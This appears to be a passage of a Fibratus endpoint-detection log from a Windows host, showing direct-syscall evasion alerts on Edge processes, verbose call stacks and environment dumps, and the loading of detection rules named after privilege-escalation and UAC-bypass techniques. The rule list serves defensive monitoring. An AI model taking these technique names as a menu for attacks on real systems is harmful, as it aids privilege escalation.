(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7fff93dad25a C:\Windows\System32\combase.dll!Ordinal225|0x7fff93bf923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7fff93bfa6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7fff6cf256d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cee408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6ceee3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6ceedb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf66922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7fff6cf19dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf189d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eb686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7fff6cf5554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7fff6cf26a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf28d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf26f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf306d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T16:25:56+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 6267800 + Pid: 3028 + Tid: 10672 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 16:25:54.4039505 +0100 CET + Params: base_address➜ 7fff6f550000, checksum➜ 65938, default_address➜ 7fff6f550000, file_path➜ C:\Windows\System32\LocationFrameworkPS.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3028, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3028 + Ppid: 13144 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3028 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3028_PMDNRAXSCQBLGKYW EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1140 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"JMrTvsAw5+gimjH5iy53okiyxdLGWjk5amh7x6Qp6I4=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"F82Vk5I4zo3ZW8pni2rCcPUhbSQdwX8jI5fLOhpzJJA=" EFC_1712_1262719628:1 EFC_1712_1592913036:1 EFC_1712_2283032206:1 EFC_1712_2775293581:1 EFC_1712_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93da86ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93da2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7fff93cebb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7fff93ceb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7fff5739e4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7fff5739d534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7fff5739c73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7fff5739c4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7fff955d847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7fff955763d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T16:40:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T16:40:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T16:40:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T16:40:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T16:40:57+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T16:40:57+01:00 level=info msg=bootstrapping with pid 7400. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T16:40:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-vamap=>true enable-audit-api=>true enable-dns=>false enable-image=>true flush-interval=>1s enable-net=>true enable-thread=>true buffer-size=>512 max-buffers=>36 min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true stack-enrichment=>true enable-registry=>true enable-handle=>false enable-mem=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ enabled=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s durable=>false passive=>false exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus vhost=>/] http=>[ serializer=>json timeout=>5s enable-gzip=>false enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false healthcheck=>true enabled=>false trace-log=>false bulk-workers=>1 sniff=>false template-name=>fibratus timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-files=>[] fastscan=>true skip-registry=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T16:40:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T16:41:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T16:42:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T16:42:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T16:42:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T17:34:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T17:34:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T17:34:46+01:00 level=info msg=bootstrapping with pid 13204. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T17:34:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-fileio=>true max-buffers=>36 min-buffers=>16 enable-registry=>true enable-net=>true enable-mem=>true enable-thread=>true enable-threadpool=>false buffer-size=>512 enable-handle=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus timeout=>5s sniff=>false healthcheck=>true trace-log=>false flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false enabled=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json method=>POST timeout=>5s] amqp=>[ timeout=>5s exchange=>fibratus durable=>false tls-insecure-skip-verify=>false vhost=>/ enabled=>false routing-key=>fibratus exchange-type=>topic passive=>false url=>amqp://localhost:5672 delivery-mode=>transient] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-registry=>false skip-files=>false scan-timeout=>10s excluded-procs=>[] enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:187 